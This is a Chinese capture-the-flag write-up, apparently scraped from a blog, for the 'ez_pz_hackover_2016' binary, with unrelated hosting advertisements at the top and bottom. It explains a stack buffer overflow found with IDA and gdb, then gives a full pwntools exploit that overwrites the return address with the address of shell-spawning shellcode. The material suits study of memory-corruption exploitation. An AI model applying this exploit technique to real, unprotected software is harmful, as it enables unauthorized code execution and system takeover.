checksec一下:32位文件,沒有開啟任何保護(hù)
雙陽網(wǎng)站制作公司哪家好,找創(chuàng)新互聯(lián)!從網(wǎng)頁設(shè)計、網(wǎng)站建設(shè)、微信開發(fā)、APP開發(fā)、成都響應(yīng)式網(wǎng)站建設(shè)公司等網(wǎng)站項目制作,到程序開發(fā),運營維護(hù)。創(chuàng)新互聯(lián)2013年開創(chuàng)至今到現(xiàn)在10年的時間,我們擁有了豐富的建站經(jīng)驗和運維經(jīng)驗,來保證我們的工作的順利進(jìn)行。專注于網(wǎng)站建設(shè)就選創(chuàng)新互聯(lián)。運行:提示輸入一串字符串
2.IDA分析 main函數(shù):? fgets函數(shù)讀取0x3ff字符串到s變量,但是s變量距離ebp有0x40c(>0x3ff)的距離,此處無法溢出
? 函數(shù)會判斷輸入的字符串是否等于"crashme",等于則會進(jìn)入vuln函數(shù)
vuln函數(shù):? 從變量s復(fù)制0x400字節(jié)到dest變量,由于dest變量距離ebp只有0x32個字節(jié)
? 此處存在棧溢出
? 由于本題目沒有開啟任何保護(hù),因此可以直接寫入shellcode,將返回地址覆蓋為shellcode的地址,執(zhí)行shellcode
? shellcode利用pwntools工具自動生成
分析:shellcode = asm(shellcraft.sh())
首先要確定在vuln函數(shù)中shellcode的地址或者相對偏移(即距離復(fù)制過去的變量s(src)的距離)
利用gdb動態(tài)調(diào)試,輸入"crashme/x00"字符串成功通過判斷,跳入vuln函數(shù)
在vuln函數(shù)的nop指令處下斷點
gdb動態(tài)調(diào)試的python代碼為
from pwn import *
#p=remote()
context.log_level='debug'
p=process('./ez_pz_hackover_2016')
gdb.attach(p,'b *0x8048600')
p.recvuntil('crash: ')
s_add=int(p.recv(10),16)
print (hex(s_add))
payload=b'crashme\x00'+b'aaaa'
p.sendline(payload)
pause()
終端顯示,
輸出的s變量的地址為 0xffcdb45c
在gdb中輸入 c 運行到斷點
stack 30 查看當(dāng)前棧的數(shù)據(jù)
可以發(fā)現(xiàn)只能看到’ashme’,沒有找到’cr’字符串,
觀察偏移棧0x20處的數(shù)據(jù),為0x7263ffcd,其中 72代表’r’ 63代表’c’,(由于數(shù)據(jù)對齊造成)
因此輸入點"crashme"的起始地址為棧偏移0x22,地址為0xffcdb422
輸入點距離ebp(棧偏移0x38,地址0xffcdb438)的距離為 0x38-0x22 = 0xffcdb438-0xffcdb422 = 0x16
ebp地址為棧偏移0x38,返回地址為棧偏移0x3c,
shellcode字符串的寫入地址為棧偏移0x40處(圖中紅框)
因此我們只需要將函數(shù)返回地址覆蓋為 shellcode地址(shellcode字符串的寫入地址為棧偏移0x40),即可執(zhí)行shellcode
那么 如何得到shellcode的地址呢?
? 我們注意到之前輸出了s的地址0xffcdb45c,該變量距離shellcode的距離為 0xffcdb45c - 0xffcdb440 = 0x1c
? 可以用 s_add - 0x1c 表示shellcode地址
構(gòu)造payload:
shellcode_add = s_add - 0x1c
payload = b’crashme\x00’ + b’a’*(0x16-8+4) + p64(shellcode_add)+ shellcode
其中 0x16-8 是因為 ‘crashme\x00’ 占據(jù)8個字節(jié)
3.完整expfrom pwn import *
#p=remote('node4.buuoj.cn',29709)
context.log_level='debug'
p=process('./ez_pz_hackover_2016')
# gdb.attach(p,'b *0x8048600')
# p.recvuntil('crash: ')
# s_add=int(p.recv(10),16)
# print (hex(s_add))
# payload=b'crashme\x00'+b'aaaa'
# p.sendline(payload)
# pause()
p.recvuntil('crash: ')
s_add=int(p.recv(10),16)
print (hex(s_add))
shellcode = asm(shellcraft.sh())
shellcode_add = s_add - 0x1c
payload = b'crashme\x00' + b'a'*(0x16-8+4) + p64(shellcode_add)+ shellcode
p.sendline(payload)
p.interactive()
成功得到flag:
你是否還在尋找穩(wěn)定的海外服務(wù)器提供商?創(chuàng)新互聯(lián)www.cdcxhl.cn海外機房具備T級流量清洗系統(tǒng)配攻擊溯源,準(zhǔn)確流量調(diào)度確保服務(wù)器高可用性,企業(yè)級服務(wù)器適合批量采購,新人活動首月15元起,快前往官網(wǎng)查看詳情吧